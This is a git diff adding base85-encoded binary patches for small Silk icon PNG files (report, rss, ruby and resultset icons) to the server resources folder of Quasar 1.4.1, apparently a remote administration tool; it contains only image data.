a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report.png new file mode 100755 index 0000000000000000000000000000000000000000..e46691be352497446f74d9600b0d54bbad25b9c5 GIT binary patch literal 614 zcmV-s0-61ZP)3v129^elZx#%*^iY?)LWfYLnDznAvNY z+HRWMZ=2k4o!xPs-*TMXbDrOGpWt+$;C7(kcB0^Sqv3d?;d-UvpuXy%zv`mE>Z8Ew zrAsWULLsa}A+AOuu1O-VOCzscHL*@3vQZ?mQYEu_W3zl@v{fawRwlK7WwnB4w^=5) zTPC-IXSiM`xL+r^hiAHBD86_}zmH+Tl4HV)WWtnW!lnP$bBXUE6K$;rve#>C3U z#LCLb%gf8m#=y(`)YR40)!5kB+}zye=H}?==;`U{ z>gww3?CkCB?e6aG@bK{Q@$vHV^7Hfa^z`)g_4W4l_V@Sq`1ttw`T6?#`uqF){QUg= z{r&&{|7mX%G5`Po5Oh*bQve1aAucmEI6p{WWP$Yb{WNH>od5s;#7RU!R2UgG!AnZR zU=#+>?>-U|H9jKhO5B1Jx(gTP4#bh8ZoxI^Oo+Bp2-HCTdq3kK=Lp*S;2Rdj-J5#* zh{cmfj4h7`y7!@ZSTVW)~+R!fI9!@Q9y|f}EJle1V(w^-j0~ zSeT?o>^d@EOOjlzpWW=b+CtW(1JhnK;%iJo7{K(|P|a@7D8fvchN~VLF^mL~ISuDM zpk{X+O;k8u-k8GU@KN)dnbhC+>Hq;6=MjtY2PPG8n+a07*qoM6N<$g5yd_ A+yDRo literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_add.png new file mode 100755 index 0000000000000000000000000000000000000000..80def93ef32fb65f721a02a64525a6a32db594ad GIT binary patch literal 697 zcmV;q0!ICbP)3v129^elZv>S`{x_70k@c?(Xh3Y8f|b z8TR(}H)|O`a3V~5F;k2vSC1`Wib-OMNoI~uYLnDznAvNY+HRWMZ=2k4o!xPs-*TMX zbDrOGpWt+$;B}c`cA(&PqTqL<;drCrdZpokoN|GyVTZY3hq_>kx?+sHWsSOIkEVi; zyK0ZTXQ007p}*>)!0MyG>ZMC8t3n~HLm{ofqOL|Fu1O-VOCzscHL*@3vD1*T){?SO zB(hQ^veK2ad1JGDWVBT!wA7WgRwlK7WwnB4w#clu)SS0jCbwHAw}WT6UMIL;C%K1b zx?w23cuBvHVZoAP!i!|Wlw`w}WyG0g#hPcz#>C3U#LULP&BnmZ$H2|U!O-Tq($dn@ z)YRD6*xcOQ>gww3?CkLH@bdEV^Yioc^z`-h_4fAm_xJbs`1twx`TF|$`}_O+{QUj> z{r~^}hEF660000KbW%=J00tl-E;BYbKS*F?fuW@I^!54u>#9X(0002sNklc$-dNNboum7!;Ew4(R{Rl$sV29mtRi%2fiDZ@O@ruiNB<1F_jQ*DSZ8m!UeOemy fTp6J2skGn!Y`l6L%gX9400000NkvXXu0mjfqhM#l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..c541dfaf824af2c1b3677152697813719ff2b40b GIT binary patch literal 720 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_magnify.png new file mode 100755 index 0000000000000000000000000000000000000000..aeaa889534234e156bdcec30b73b591b10d8a019 GIT binary patch literal 738 zcmV<80v-K{P)JgP zpi~!%ir7|Bt5jR6QQK0ZCTW`7b7ovzy|oJBfwLHx`JHcmbH-6s1_lOpm2RKDZl(&D z@ey|9hdTJbGvW02_pi6sK9F!G?O~ZbbC_*sU;J0K@B1Bo5ClV=ot;M-U-ssk7Xk`l z7|ux)5ma?foJyr4k?!v9)z;cm(zYKD!}oiAf4$_oE+P`gj^o6FF+uWKZ$8teAW;Iq z$xGvifI?ItAi#;e+1WN?g4X?bj^W##yRm=>tXZ1+DG=Sk(Fy?8+PMV&;I({9R#DYi z0ac!lP9uPdqGAz^JaAoC{vbGj=NO8&@5Viz+?V6gn+Yb%HOjRH8WKt7r34#RF(y$3 z>@304tNBc8#Hp%?2p8^uV8Q$rHmu0vCp;#;)hU*0JbqhZQ+rDq@O~pWh=-wgt1ouC zF_or0*F>@AV5$~%JQlZQcrjd|P$=Mep6dodFjOcMj*R!7qx|GNVu?pouGUE=6BsLq zC^L1TZosHdE|k}>@gRw+&tz7K`>;DS-0`kjdx88QmDen$Oy(5j4`A|Se4f3J2wko zOJhvGAEb5pTDmrm9dmve*0XA1*Rtm1)<{9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_picture.png new file mode 100755 index 0000000000000000000000000000000000000000..3a9a7e5eb91319a532f1c796740c70692b8335eb GIT binary patch literal 733 zcmV<30wVp1P)jdqY@m5y1@@iycWVf~UiPPmZK9+AcIyv0)YE`F$AZQJGdwa**+S<<5zV6SY>Hz_* z^@>9093rw}pGYJC_(x#KcXx8|<_iX&ePnXFNPa;R1U{j*)C7L@R^@PWue+86@v;8Q z+O&WJr4*B2iX3m>PBNMLFMl!A-0V}AgN}}loz~iJ*LVV78Gbx`gi?yaq9d71F+Q`v zrSc?V8*qfU_!M6Y zC7d`SV^}6QiLVTW2Ngj)<|6{dQbeI##>!6?b;$QpnF1k5rKT!)emAqWQ9xwr$3>u6 zc1+Fez}38DQJ0u6Y@@lUrrOG?;1oWF!r%}9p|&^&^S>;6nl92Zb)Hx6vdka2hS3HA zBJHXIZ}?88E-g4qMIeGg82fw{tu@0@M6@wR^s)o3HOKc4BeFtp8V|$Vzz|9))~8~K zjkt2Gk3SD$S(eaRQycS^37+20q|y#-rJ#AsI&KYp;LB`@ARZ7!mU!F;sRqf+zU`_e zF)FX|Fic)L!_mR_IOnj|VvHdSLvpzs4Gj&X)9Gp$m8#5wF=kiGoBJP=8xn}X#KZ)~ z7>qGXbKrR%xm=EHHjC$ZL{U_^bF%x17Y(;Yr_2drFbQ=B?CYbj<)Iue4Y zjHuM+6fIggQwO;rx(zM1NUs_(1KGi;_5Ap~&-=VA0IaF0sdJ+( zBtEEe@J_TBEEenV2D6)LPPf@?{?FDi*sT@}7o}lsZEZuLAu5$>lhJ4tzP(+F@vc$~ z7p5T;3NaE01mO4k<5^l-!s_a348SxP!4Sb_H2Zu$w5!X|!r2OK&NirsEPR=p!^+AE z(_lzjim`_!7!t6tyu3`Orh6Whl?~8ycR+JK5!z@iJGmLx3oon#;sz5jgTYH|gu`Jv zs;Bd)$~%EOWCk8r=At}%7pnRDL1rc+7z{8C1{+K8sk0aZ`KdIWO4XC^sFsoNIgAL- zn())ofnP2YdYTHNfMDdG2K{-d^nfS;b&a}CLL;&3M?)z`lEn@ z>jw437=1vZpSLI8Ox8aKCpQmuIz6;XA=+*Vp}2Yj#Zo!$wzeW6A>jzqU}6Nu+!PvM zHk+Z--GW3S0iS;nhOS2#7=8~fmkW_d1esicqsNXL;s&N#5|(xe`Zy`{0KeTk1IsfV z)Qx&5mF39i^TFfsP*6aiNGwISp$VSW(-DS&Eo#u4lS~_U2kP;%mW#_`1@wA7G#U*E zfC^9bC`4LA3-Q+eGNijse0UKYlEHg}R{$a=DDYia;QsYl-3-7Thjm zr0+cYm%;0-Bt#++`X#7AQmadCqs!%j*XzZfC%y+26%|R{oPFrKatN<7li+r{F&AA| zr_+gCR;x7zpg>fFsasCf9oVjsuoKDu`Od!qHK~iHIh0CT P00000NkvXXu0mjfuTNAF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/report_word.png new file mode 100755 index 0000000000000000000000000000000000000000..995134248551bd273d1d82c8eb10c11545a28daf GIT binary patch literal 731 zcmV<10wn#3P)x`$;*%QE>Pm-#2tuNQAW$Ppq@+uSPM$2ic=BSMf;tzS4LT(D4twpO zC5F`@JQ%)2wPk1+YwO#tn(OYf&&>QgtZpeCoZG<6@ZmqdpAr$q$Hy=J9=bQ6my_uE z8Cv=h_3UmfsIjrJ6ULbLHprK|7#8n$a=!P|u5O1yq54of9#1qjHg=VL?(eIJ0s=u0 zY&&SJMMSpkJ6c=d?vho>Ndh+qm9 zfWQ}iZ5Wo)0aZ#dHD_>?&~mzVr{F3sn#|xZ01^lYWOEkB7cQKMGLcwg%~;N!+Do)5 zvV8{g{SR3meS$R<1pzoNn1ba{G|Z)@{RmJgn&yTWuA_De+Hue<4-BJ}BFI~o(mr>( z>p&ov*IaKuT>8evv|oH+D+kWVi@u7O1+$s9z;f;OM{?^qyfP1KL99gt#0u6b)V3rR z^5qViAGbQVJop`JEyftM*7&|pDwU$Tx|&!lR#GUXie1oJA3yo!<@BC?9wIO^GlSL| zt#zpfj^mI@rI?+a#c>=8g<=rYR!KUJM9&?ph%_g&!Oz}r%agmU^B=+0hDY`Kt<(Sj N002ovPDHLkV1l*bNUHz< literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_first.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_first.png new file mode 100755 index 0000000000000000000000000000000000000000..b03eaf8b5416fa6878165d95116e73003f8445f5 GIT binary patch literal 522 zcmV+l0`>igP)ufs8f5Kzx*fI63}@)AAFXgQp7K#X5)&2^7g z_9O9^7^ARqyc%qAP{1M7?|}io8xW>dotf=a%%ZSXBBI&Rf<-t`#(~H!2g~*8&15{# zVXjXMwHZYVJ6lk!gb6?r$g;SuO>QI;yeQ51#0H@Z6sk_ajqECPZEqLq!PMf5MQ5gS1i(Owi(ut_CY*w|Psf-Iy6=08Y` zHnsuDs6h)+OwcBqopImX_v1c`5LkrSCWWWFUvW71z%eN$cB714YVYtd`}$X<%JbQ) zM;;CHJDu;#-swg0iul07{S&4s!M>4O+`c|6_tW_i^y+I%|aPsIlEx5K=^ki~8LwqDy-)t}thx1D9 zB6|#ECQ%2a60OQQ<{6-)5|okv)6E>1Xpv+@iIv@MJ8v15 zR{N~1_2z$e&R$WgNhIQelIl1rK}5XruIN#GDZA_4bJqcqID*^mXXFcgt1K5iK7HPL zwLW*@#tu()#Cyd@CHc^75Ul6pYT4PCpSeBE)hh4bY>#}=6tE)eyHJqs^fsG>Vd1`fve+(ujGfY=!&uAkhSNMx9FL>>6yFgp~38< z!tJQX?ybo0QZ)pG0000GbW%=J00f7Jj+>sKqNJ&;v*PsrxXAaY00017Nklpo7D~NSjoBGo#3ydeL4ej!iP>eD;bNEJ5;L?DIkyx* zxfMsf7gE3(T*ez^$trTsF<--Cvd5VwKuvnA>NX+-aNK zYn|Y3pWShw;Bleea-rXKq~mv_;CiOvdZy)kso{aEfNIBZU6uP5Oh*bQvd{qhmM<`prWLyth3_u{N@1p=a9KakdI4{r9Fsj0rE)+ zb~J|8lW*Tz02$`Zaxk^6sfOa5!ghcM1=puT<{WmU!JK!6{4kb3fZrJ*ROjE>@quHyr}*Cr;=Aa64! zj|O-=Sx^U(hAq-h=kq`Q2V>dc0LCnFFu6l&F;*d8IpiIHH4yNNu{%yB`v73}L;K|S z5BXjfZJO%>P`FNNQN^m$1zjx5c5Y{17VpEWq!t0|e{#P8+?shbj%;~D00000NkvXX Hu0mjf+-WMY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss.png new file mode 100755 index 0000000000000000000000000000000000000000..1dc6ff30ba5020600aa4ba2646beb9eb25dc978f GIT binary patch literal 530 zcmV+t0`2{YP)8MDR)G%QU0LxY1jsDL`i z5Y)<<0mFa+Gyv?I-SF1`9OhtF)?#(7@ZwPg0IYohcf#rgRl*cR36-)JAyh$ycISTR z#|RJ*0Y`3-+O5RfdxRPJ@Fmbb_UtP8y?FXu?dZjo$& zzrG9Rp9<^S_%m{rBJa8vxT8 UVM82oKL7v#07*qoM6N<$f={^a^#A|> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_add.png new file mode 100755 index 0000000000000000000000000000000000000000..b590beb7384ef1eceb91d38b67f3f29d7ebcb4c7 GIT binary patch literal 649 zcmV;40(Sk0P)_`vtWfF`j z0<2B6iHB4fl=M^yJC7s$OkB4XF^SV+68F!}^Z5-pSkKZ)7dfJ zWJl?2zDxJhlca-{tPoI3*~Z59s;f1d)?99?+e2nUJu`EYjJ+LY_Tzl7TIxDCwpVon j=YTRG2izRLk?s5g)J!H~cfFa;00000NkvXXu0mjfU zi6qKEsUS((2z^ne7sH6u^xpT*$7wNF!ypjufnm-JGY|ZJ=Nu&>loOgVqilfTUekXx z1h4^|1sA{;!TEUSfucYP27p~1|NITBmk;25%&jlw4qn_X0RR?q5CY;$51d211M3iH zboWq^PPG;;65b4e59pTjU>C6uFOckS$9)}J0cfm^fFPg^RMkOn$lMhAa2LAi zB;mso)RqR!v0H@6*ASvaQo)cfM13Kk0JZM~@^KKVYVh|v(5+X|d)k=nX(9J{mc^MI zCTpl|_)UE(7*ZE$AwaN%vFqrAoyhw^lD6C6Et5CTF_%`-*m05d^?S*`8)9PQDW*_F zN&gO^@i@Y-=(=-=jZTY=?!SC6O!MhJDnAXw^ayO+#1B))#Ly^)ynwYRUx8XKq4%-& z63s2n7pT})4@W!yc3|&zia|<%XLnXQ3olSyy=RPKX?&3EqqC&>8J2*B`2>?_)LN!- zq`jthU3K>I&dtskJ;lPTdu`X^&)k{Bt2&>^w7@{?kh}5+(yKTs Tolt1000000NkvXXu0mjf#S9}s literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_go.png new file mode 100755 index 0000000000000000000000000000000000000000..43a86bff65d0c81eb5d4ff8f95e4e825f9015a0f GIT binary patch literal 635 zcmV->0)+jEP)^cw4_Lf`NnXu4)qJaOz0Jk*jN=Gk2DWh4)N< z8s*VU4f~P`qK$rI>tMXr-gv6&^_Q35oN{`3$UXxb2jm8#wV)MM1r50$LpE2g{{bi; VQ8S@)tH1yN002ovPDHLkV1iVr3a9`8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_valid.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_valid.png new file mode 100755 index 0000000000000000000000000000000000000000..a6d0b0e872408ecad6388a132fbc95aa4ae9a558 GIT binary patch literal 660 zcmV;F0&D$=P) zlTC4I~z~%t(2;3ZV$IVbTEK^K`cbf9DJcWsEZG8LjgQ3BX ztk>_fsZ-qa^*zkr^JiK2KaV+&zI@_j^%VsVuFdVDQY^v4>l8Vx1;n1LCn5~d(Z zsIW?vOXDVh8tp@`Vfq3Xjus#w0#+U)DYX$V&J$*&OAmk!WA_e|ZaBm2QW<@4n)vV> zM4A9qP=jzNO&}hhB3XTc#2Wb1b6`%|br9q`a_bOGJ*fn|_k1ofNlU#NR&w&qt&YqzwPe=XD1lS-g*U+YebC>)k^TqzktpS2p6W z`Y3jv%8gZP0vejr+`$EZc9x`b3w--bVcS)b@+9o#4N5(I6qfBm?;dXg6aQFF90*an*tf?f9 u%m^eP3upiqkd2B87`f4-l>F~^Zs`{-O<@5o5}gkK0000k7R5;7c zlif>`Q5?tj7Yw@ZCMtTF^Q|ZedeJhM%QPCR*bs8V79p$QTo7e94yQNXRs-{0?hOn_-8n0AMO@u1Ts zNl8QzJs1#rz%RBt?ux>l+amAvh+J!{$lkaqv}+Erb-6j2xp>K4GLQnNB*W`hFg*?P z^AL@~(h~Z+wfcWEXHqV^Tq-#z$7Y#o0;yFxA!00F}F2dX# zjE$iOgT#G4*1TR6kB1Gnn@>$meCh2a>c5YuIvFn-R2W@>4@M*m@-|jiDV?b)bccgA zyPfsMM!rjy>+1O2)5Eg29Z_*2p&qGnmS!OH?vZ(4>QB01d>j%9n4QINxkyT(Dos?I zjaWF$*IQmh`SF-?xU%xMEfjq1=6qY*g&lgG_cXv$BGoIWyfO5 zp>pdV*O+y=&6@N2WWFo(%RtT`Q(H^6zn^a%epE~Kx^mEJ{c8`luC$nc*z9j|4Ms8aJK-la*? zu}sM&ls8IJIBTw8%#^`KxVF<=?#=zao!{!hU{cUc4}5tzhx2@%m-Fxd@cu=-{{z7G zcFU>0QV~u$otEUZU1a-OC&^y!AQ?tY(ygr|b+Lsco1|o`K@v%vt5f6wG(bj`z|0F^ zejZp}2K;`&=R@xGD@4Y|5FH&wd}IW%2M-Z+I1s$ukImE7iFo-b2?uzKCy#*1NxZPNzdqqd|ya5LK(Op-|vmVZ9X=X}9uO24{Kk}A!B5JXr!qbIp8z_8L}evXRx6$w7guhv5miVSjlA&GurHb?&tlT#n6(v-{&G z&-l~YZX~a3p)yv(^}zv`?|y#1w%JRt&vtNt1X7ZUi&z*Oj!7dOpRh%pPmp60w ZKL8&#%K87S&;0-Z002ovPDHLkV1m=DG{pb_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..30022630d81b07d271d8168bc8e2b67290fc621d GIT binary patch literal 704 zcmV;x0zdtUP)iMii@3{=qhJYmGNO z6B95x3hnKL%F1wAEX*kiZnK#MlZj!2fe$q`IEqUU@h4qjfmpTN`dY2EgY3raEE})C zpHOx-b9y~rGBf!uF_oOm`|4_@lmbNTiFwb#_?(R$NWW3i?~_nfC3JMa{5*_|pc;)V zN}@-Kc+%5x+U-nVRS-vxJKYE3;{Lcoz)}#oo}b?pwAo;A5XQ$*<>*4E!<&}ILR}p* zlI%Hr%<0~LBxchy`i-VYUruh%vKUS;eIK245Ldvw}Q5*3@~ zVD-Yq$dz<`@7nDSQ-7tybO?#sqs)B8oN*$8uuoo~2V~ z9c$K7d^fE0CGJpHC7JsMutkAAT3Sk^CsjN3*My0q35TTLA?bG}JhnRgnBSkLau?zH zmf|Y?y1b2MkR*S(2DiklMT@L|-jcwJ+}%|}%D%vyEt;=4x8qc{@yrkr?AB>-ZTZu@ m%-vfdJ5K+)f-6i8*M9)_HOV}%zz`7t0000p`gJ-s&X^#FvVo2#P4DDKuuwP0($&5u3Gi3xsSB&b7S=yXf4CDeP%T zi085%<7O+R*T-!1OkxYf)Oe8PJhFf|3Z zT)^5Iu)GXROn~X_MMf$`RxCzAB*G7Y0H2$h5ZCFD?0yMSe?7wz)Kyf5I<$7M#1FH8N)$3v2_5+iXKrRO? zE#aHNfPmMFOh*U8;V^>1AYwf#d>plvU1p2xSPErnS8b`Y(|x2?0}Bhl>MHzxKN5)q zLZJ|~WF7H%96q0qF0DdGWoWh9v&SMiY!lQT@LJs^mAXo>F+7Y|EJm$yL8H+?uh&;) zM59p{jm8fr_F(@}OYPnRj{o<@d_K=k0@Zs^xOBC}VzKO{(`k4-9t;i+o?MRIJNGU) zsi9t~KSfQo+wIu8c!kHVnayUhMw7Byt&m70e{R?p-qV}2FJ5IA7Z(u-1TZo(vS%`x zh?}Mni9{fm%k7ll{HZl{(DJYZ>}^;%?7^|IG0e@)u>?>k6lYE)pc-v5nGAh>eU0O^ yjRqPko!TlC3K>41Kl4|QNvTvqAYki%{Qoay0^pl|RRvxE0000S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_get.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_get.png new file mode 100755 index 0000000000000000000000000000000000000000..f5203c7e94b09b06f5b6f42fb84b126e323e3186 GIT binary patch literal 692 zcmV;l0!#ggP)Y=UYJ?ASrjeqP`A=ks}gya2C%k=OqLkPGuPLSKZW zHF@$4lE;uGt!8FOD{1E?w=P9mPE3@R&YqK8@oH)Dc-)-x=rQd&KolehIqB_z{(cx4 z0jm|p$MHOU!dz=B_Ldgro11Yo+`wiwW4lz!LiiEqd}vtQ8sHT-8=5%;PPS|%U6u)d?MW5>JPEPJ#EhvD20T>-c7S^SxD4fyJ%$iJm6vYnT zpb7g9zdgTQq-(r*x zmy1e}+uB&EsllFYprlbP7eCIWu=fJ-x0IF*gS2oca@+j=gVtq39!`S+V^h3b^eBg> zH}y1F>PWkrL}YE)`|yg8Eq_dy6d39w`W>vergA0TKIP86pU(9mGj%UbWZz5YKv}RW z_@bicuOq9fkHS1yjj6w!*sGBQ8T~>xbqm5WSDs&{{8=%9dA@A=n1p47WfVC+?9SN! a6Yw4MW6QB{x)Qkn00000x$iEP)rl-P_^Mu?M#=uC#u zWRgfl1^(vp$dZ@wYeC?I?drV2_}Esbuo$wlp{NLwN$Bgt^*mf_ae-;yCtO|4g3rC= zx3!O0Ay2s%Up0TV4Qp|us^d4wE?iw7oY+?b-WV<81??Y&0G zJ$aoU8Ug@;%U7nXl!x^|;=Yc@p}!wOA;`)iC?z4K@U5b-U_Ixz#z|y*hw?f1?XFp~`}D>*)(C`F2(4L}UqX3dC9VC9bPTo_Uy0n8b(1OQR};Ox`=VCJ zJ7;RgYii1lp{+q1jlnXK93(HYl-Ipac{lLF_)6ple-$I^-rbp0Rn2iFB6}T zMxl&EYRODymQAa-lah0RH+@YLe>5@s*^@zE`6#Ve7A<0Vw3rpSF+y$@OLA86KG95b zPt(|(V2ks&GVQ+}GrkZABk+}AZ9$o{Ew+od192LDrY==^URH(Uy&w-oIN zKksfB5{ByGdfWBe7yd=;f|J(94SPn%M(b_gkNg`)>s4a^*@puF0000uOV?{sfmJEOvVyH^4y)cgf5dHLYF5Q%^>gqd5u-21$*wBhAR zB_jOdZ{3_P+COI%7ca4wFNeH5CbKW$&keRmzkEP7aJ}9 zaO#ishFM)}q93lAD_8lgun@=h@vBBsFm)+G<{ddBM&m?a)V%4D2^D4aN<{dZw`@he zXmiP_nz?Yu)F}k97~g_M3Rlg+vSTP~7!t(6WN1G7DWyb&f2HOxEER3;FmLk2RCx#F z1d>}-q#UaUW#thX&D--WeXrm4u2&+$|9m)9wO6@A50tE27ZH6E6(o7nkVxCfFl8&n z>(SL0A4g;`kw6fc= zhZghZ#*fsC=bhU&oq2zne>e=_OEi9~H*sfNrYr5WwtlZ$f8yN*{^KXl-Z$AZSrFg= O0000Z&H5% literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_link.png new file mode 100755 index 0000000000000000000000000000000000000000..bf4be526fb1190cc7f778c5ec7894b0db5b367e1 GIT binary patch literal 767 zcmV5*`Q5eUCpo;>bf5H-)x*6q-8!ArQkJhH?Vnaw@-Q1A1t>wIFB5v4Vq+TQyi3r{( z3L=SKNGYNaH5GrBOp}2c&b=pHP3PWyJ7;%`?z-u~7apGH`+UyxoRbA0>tB@he*jYM zCkCoxD#9eV97J%~NV3IBE}Bgw!8MTcx;k>Ee@Nn0)#R5-6N$<18q)yUP(u~N^c1kL z0IaM4+uOj#280jq5g8gnbZ`(S0|Ve+y+*jZ8{uajoJz}LCq=~?2Ka=xZ-9vjU}OYX zUk8?#fzeS2E*HXPGxj+S(S`;b8IAa?R%5HH3)?n3i1<#J0rFE%9UoKAeE_`;dwWQq 